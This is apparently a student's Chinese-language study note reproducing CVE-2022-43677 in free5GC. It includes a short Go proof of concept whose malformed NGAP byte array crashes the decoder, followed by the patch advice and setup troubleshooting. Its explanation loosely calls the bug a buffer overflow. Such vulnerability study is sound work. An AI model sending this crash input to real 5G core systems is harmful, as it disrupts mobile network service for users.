---
# System prepended metadata

title: CVE-2022-43677

---

# CVE-2022-43677 漏洞重現
## 環境:
- free5GC Version: v3.2.1-13-ge104d46
- OS: Ubuntu 20.04 Server
- Kernel version: 5.4.0-91-generic
- go version: go1.14.4 linux/amd64
- c compiler version (Option): gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0

## 簡介
- 此漏洞是由格式不正確的 NGAP 訊息所引發的漏洞，會在 aper.GetBitString 函數中造成索引範圍錯誤，從而導致 AMF 和 NGAP 解碼器崩潰。

:::spoiler AMF
Access and Mobility Management Function, 負責為用戶存取時提供認證、權限等。
![image](https://hackmd.io/_uploads/HyxmNPTp0.png)
:arrow_up:[圖片連接](https://www.researchgate.net/figure/G-Core-Architecture-B-Multi-Access-Edge-Computing-MEC-Multi-Access-Edge-Computing_fig1_340337250)
[Network functions overview](https://ithelp.ithome.com.tw/articles/10290032)
:::
:::spoiler NGAP
Next Generation Application Protocol, 下一代應用協定，負責和AMF之間的基本溝通流程。
[NGAP簡介](https://ithelp.ithome.com.tw/articles/10295681)
:::

## 崩潰報告
- 崩潰前會有這段訊息:![image](https://hackmd.io/_uploads/ryhVjLapR.png)
- 接下來就會是一大串崩潰訊息:![image](https://hackmd.io/_uploads/SJEY3L6pC.png)


## 漏洞原理
### test.go程式碼
``` go=1
package main

import (
	ngap "github.com/free5gc/ngap"
	"fmt"
)

func main() {
	data := []byte{0x00, 0x28, 0x00, 0x30, 0x00, 0x30, 0x30, 0x00, 0x12, 0x00, 0x20, 0x37, 0x37, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30}
	_, err := ngap.Decoder(data)
	fmt.Println(err)
}
```

- [TLV 資料交換格式](https://ignatius1895.pixnet.net/blog/post/330810389)
    - TVL(Type Length Value)
在`test.go`的程式碼中，最主要的一段程式碼
``` go=1
data := []byte{0x00, 0x28, 0x00, 0x30, 0x00, 0x30, 0x30, 0x00, 0x12, 0x00, 0x20, 0x37, 0x37, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30}
```
就是使用TLV的正規表達式，表達不正規的東西，以程式碼為例，這段**可能**表達的是整段訊息的總長度為 40 byte
然後當中的`0x00`應該都是T的部分，0x28都是L的部分，其餘都是V

那amf會需要NGAP跟他做溝通，溝通的內容其實就是gNB的UE資訊在接手和換手東西，NGAP需要有正規表達式（TLV），這個漏洞就是看準這個需要正規表達式的原理，將錯誤的格式塞進AMF的功能裡面，讓他執行，導致**buffe overflow**。



## 解決方式
- 更新free5GC到3.2.1以上的任意版本。

## 筆記
- 有額外補充放這...

## 連結
[reference](https://www.trendmicro.com/en_us/research/23/j/asn1-vulnerabilities-in-5g-cores.html)

[漏洞的詳細程式碼](https://github.com/free5gc/free5gc/issues/402)
(雖然他有給程式碼，但我們看不太懂他的運作原理是什麼。)

[Go fuzzing](https://go.dev/doc/security/fuzz/)
(蠻好奇fuzzing的實作的，想試看看。)

[CVEfeed](https://cvefeed.io/vuln/detail/CVE-2022-43677)

[vulert](https://vulert.com/vuln-db/go-github-com-free5gc-free5gc-92971)
(結果來說就是，這個漏洞已經有解了，解決方法就是更新free5GC版本...，但是原版本漏洞尚存。)

## fre5gc故障記錄
### 找不到網卡
``` shell=1
sudo dhclient
```
### UPF ERROR
[維修網址](https://free5gc.org/guide/3-install-free5gc/#c-install-user-plane-function-upf)
原因是GTP5g掛掉，重新編一次就好
1. 先重新下載
``` shell=1
git clone -b v0.9.3 https://github.com/free5gc/gtp5g.git 
cd gtp5g 
sudo make
make install
```
2. Build the UPF
``` shell=1
cd ~/free5gc
make upf
```
3. 改一下free5gc/config/upfcfg.yaml
主要是改這個部分（透過ip -a查看網卡ip）
![截圖 2024-12-09 上午10.39.44](https://hackmd.io/_uploads/Skn_ORQ4Jx.png)

4. 再跑一次
``` shell=1
run.sh
```

### 出現\[ERRO\]\[NRF\]\[NFM\]
錯誤訊息完整如下
 \[ERRO\]\[NRF\]\[NFM\]SetLocationHeader err: RestfulAPIGetOne err: server selection error: server selection timeout, current topology: { Type: Unknown, Servers: \[{ Addr: localhost:27017, Type: Unknown, Last error: dial tcp 127.0.0.1:27017: connect: connection refused }, \] }
 這個時候需要檢查mongodb，查看當下的狀態，下這個指令
 ``` shell=1
 sudo service mongodb status 
 ```
 目前都是因為mongod沒有開，然後錯誤訊息會出現這東西
 **Failed to start mongod.service: Unit mongod.service not found.**

接下來就只需要把mongod的東西打開就好
``` shell=1
sudo service mongod start
```


